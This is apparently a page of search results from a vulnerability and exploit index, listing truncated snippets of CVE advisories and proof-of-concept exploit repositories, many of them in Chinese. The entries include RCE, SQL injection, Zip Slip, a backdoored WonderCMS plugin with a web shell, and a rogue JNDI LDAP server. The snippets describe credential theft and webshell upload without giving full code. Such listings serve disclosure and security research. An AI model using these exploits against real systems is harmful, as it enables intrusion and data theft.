712418 matches found
CVE-2026-39987_PoC
CVE-2026-39987-PoC 免责声明 本脚本仅用于教育和授权测试目的。未经明确许可，利用本工具对系统进行未经授权的操作属违法行为。作者对任何滥用此信息的行为概不负责。 0.23.0 之前的 Marimo 版本存在一个无需事先认证即可利用的严重远程命令执行（RCE）漏洞。端点 /terminal/ws 未实施充分的访问控制，从而允许未经认证的攻击者获得系统的完整交互式 shell 访问权限。 详情| 信息 ---|--- CVE| CVE-2026-39987 严重性| 严重 CVSS 评分| 9.3...
CVE-2026-101888 Prime Mover < 2.2.1 Zip Slip Path Traversal File Write
The Prime Mover plugin for WordPress before 2.2.1 contains a Zip Slip path traversal vulnerability that allows authenticated administrators to write arbitrary files outside the intended extraction directory during migration ZIP import. Attackers can craft ZIP entry names with traversal sequences...
EUVD-2026-90911
The Prime Mover plugin for WordPress before 2.2.1 contains a Zip Slip path traversal vulnerability that allows authenticated administrators to write arbitrary files outside the intended extraction directory during migration ZIP import. Attackers can craft ZIP entry names with traversal sequences...
CVE-2026-101888
The Prime Mover plugin for WordPress (versions before 2.2.1 ) is vulnerable to a Zip Slip path traversal vulnerability. This flaw allows authenticated administrators to write arbitrary files outside the intended extraction directory during a migration ZIP import. The root cause lies in the comput...
CVE-2026-2222-MQTT-Broker-CONNECT-Packet-Heap-Overflow
CVE-2026-2222 – MQTT Broker CONNECT 数据包堆溢出 程序代码（C + Python） // mqttbrokersim.c - Simulated vulnerable MQTT broker include include include struct mqttconnect char protocolname8; uint8t protocollevel; uint8t flags; uint16t keepalive; // remaining length field misinterpreted ; void...
CVE-2026-60004
CVE-2026-60004 — Gitea Diffpatch Git Hook 远程代码执行（RCE） 裸克隆钩子注入 → post-index-change → 任意命令执行 概述 CVE-2026-60004 是 Gitea 和 Forgejo 自托管 Git 平台中的一个严重级别（CVSS 9.8）预认证 远程代码执行漏洞，影响 1.17 至 1.27.0 版本。 该漏洞利用了 POST /api/v1/repos/owner/repo/diffpatch API 端点中的裸克隆设计缺陷。Gitea 在裸临时克隆 中应用用户提供的补丁——此时仓库根目录就是 $GITDIR...
CVE-2026-52887-NocoBase-SQLi-RCE
CVE-2026-52887 — NocoBase SQL 注入 → PostgreSQL 超级用户 RCE myInAppChannels:list 操作中存在 SQL 注入，影响 NocoBase 的 @nocobase/plugin-notification-in-app-message（≤ 2.0.60）。filterlatestMsgReceiveTimestamp$lt 请求参数被直接插入到原始 Sequelize.literal SQL 字符串中，未进行任何转义或参数绑定。借助 PostgreSQL pg 驱动对堆叠语句的支持，该注入可到达 COPY … TO...
CVE-2026-6666-XPC-Service-NSKeyedUnarchiver-Deserialization-Attack-macOS-iOS-simulation-
CVE-2026-6666 – XPC 服务 NSKeyedUnarchiver 反序列化攻击（macOS/iOS 模拟） 程序代码（Python 模拟） !/usr/bin/env python3 vulnerablexpcservice.py - Simulated XPC service using unsafe plist deserialization import plistlib, subprocess, socketserver, struct Mach message simulation: we just accept a binary plist over TCP...
log4shell
Log4Shell CVE-2021-44228 — 研究报告 一份关于 Log4Shell 的自包含技术报告，这是 2021 年 12 月披露的 Apache Log4j 2 中的严重远程代码执行漏洞。涵盖根本原因分析、完整攻击链、检测/缓解指南，以及在隔离的本地实验室中进行的端到端漏洞利用复现，并附有终端和日志证据。 查看在线报告 → 内容简介 漏洞概述 — Log4Shell 是什么，以及它为何具有灾难性 技术分析 — JndiLookup.java 中的漏洞代码路径及四步攻击流程 概念验证（PoC） — 完整演练：易受攻击的 Docker 目标、恶意 LDAP...
CVE-2025-48932-Invision-Community-SQLi-Exploit
🔓 CVE-2025-48932 - Invision Community SQL 注入漏洞利用工具 ⚡ 严重漏洞概述 CVE-2025-48932 是 Invision Community 版本 ≤ 4.7.20 中存在的一个严重未认证盲 SQL 注入 漏洞。该漏洞利用工具允许远程攻击者： 🔍 提取敏感数据库信息 👤 窃取用户凭据和密码哈希 🔑 接管管理员账户 🎯 劫持活跃用户会话 💻 实现远程代码执行（RCE） （通过管理员接管） 📊 转储整个数据库内容 🎯 功能特性 功能| 描述| 状态 ---|---|--- 🚀 零依赖| 纯 Python 标准库——无需 pip 安装| ✅ ⚡...
CVE-2026-13714
CVE-2026-13714 Realtyna Organic IDX 插件 + WPL Real Estate │ │ ├─ privatekey = │ │ ├─ cmd = setproperty │ │ └─ file = imageNxabc.php │ │─────────────────────────────────────────►│ │ │ API validates keys ✓ │ │ Saves file no type check │...
CVE-2026-16723
CVE-2026-16723 Fastjson RCE ★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★ 概述 CVE-2026-16723 是 Fastjson 1.x （1.2.68 – 1.2.83）中的一个 远程代码执行（RCE） 漏洞。 当 Fastjson 解析攻击者控制的 JSON 时，精心构造的 @type 值会在 checkAutoType 内部被转换为类资源查找。在 Spring Boot 可执行 fat-JAR 中，类加载器将该名称解析为 jar:http:// URL 并获取远程 JAR（SSRF），随后即使 AutoTy...
CVE-2026-66066
🚨 CVE-2026-66066 — KindaRails2Shell Ruby on Rails Active Storage 中的预认证远程代码执行（RCE） CVE-2026-66066（“KindaRails2Shell”）的教育性安全研究仓库。 本仓库仅用于安全研究、漏洞分析、检测与防御目的。 📖 概述 KindaRails2Shell（CVE-2026-66066） 是一个影响使用 libvips 处理上传图片的 Ruby on Rails Active Storage 部署的关键漏洞。 在存在漏洞的配置下，特制图片可能在图片处理过程中触发意外行为，从而可能导致： 预认证攻击...
wonderplugin
Wonderplugin For RCE 切勿在你的生产 Web 服务器上使用这个虚假插件！ 此仓库旨在测试 wonderCMS 上的漏洞，这个虚假插件包含后门 Web Shell，你可以在 evil.php 文件中找到它。 相关文章 WonderCMS 3.1.3 - 认证 RCE 与盲 SSRF 漏洞 Exploit-DB WonderCMS 3.1.3 - 认证远程代码执行...
CVE-2026-94620
Classroom 50 is a free and open-source tool for managing and grading programming assignments via GitHub. Prior to version 1.11.0, gh teacher download clones each student's assignment repository and then writes autograde artifacts result.json and results.json into the just-cloned working tree. The...
Pluck-CMS-Pluck-4.7.16-Theme-Upload-Remote-Code-Execution-Authenticated--POC
Pluck-CMS-Pluck-4.7.16-Theme-Upload-Remote-Code-Execution-Authenticated-POC 漏洞利用作者: Ashish Koli Shikari 厂商主页: https://github.com/pluck-cms/pluck 版本: 4.7.16 CVE: CVE-2022-26965 关于此工具: 此脚本将 shell.tar 上传到 PluckCMS。应用程序将解压该 包，从而允许我们访问 Webshell。 用法 : python3 exploit.py 示例: python3 exploit.py 127.0.0.1...
poc-yaws-cgi-shell-injection
Yaws Web 服务器中的操作系统命令注入（CVE-2020-24916） 概念验证 构建测试镜像： docker build -t vulnbe/yaws-pocs:shell-injection-appmod-cgi -f Dockerfile . 和/或 运行容器 docker run --rm -d -i -p 127.0.0.1:8000:8080 vulnbe/yaws-pocs:shell-injection-appmod-cgi curl...
Atom-CMS-2.0---File-Upload-Remote-Code-Execution-Un-Authenticated-POC
Atom-CMS-2.0---文件上传-远程代码执行-未认证- 远程代码执行（RCE） 漏洞利用作者：Ashish Koli Shikari 厂商主页：https://thedigitalcraft.com/ 软件链接：https://github.com/thedigicraft/Atom.CMS 版本：2.0 CVE：CVE-2022-25487 关于此漏洞： 此脚本将 webshell.php 上传到 Atom CMS。应用会将该文件以唯一编号存储在 uploads 目录中，从而允许我们访问 Webshell。 用法 : python3 exploit.py 示例：python3...
rogue-jndi
Rogue JNDI 一个用于 JNDI 注入攻击的恶意 LDAP 服务器。 描述 该项目包含用于利用不安全的默认 Java JNDI API 的 LDAP 和 HTTP 服务器。 为了执行攻击，你可以在本地启动这些服务器，然后在存在漏洞的客户端上触发 JNDI 解析，例如： InitialContext.doLookup"ldap://yourserver.com:1389/o=reference"; 这将从存在漏洞的客户端发起一个到本地 LDAP 服务器的连接。然后，本地服务器会响应一个包含其中一个 payload 的恶意条目，该条目可用于实现远程代码执行。 动机 除了已知的 JND...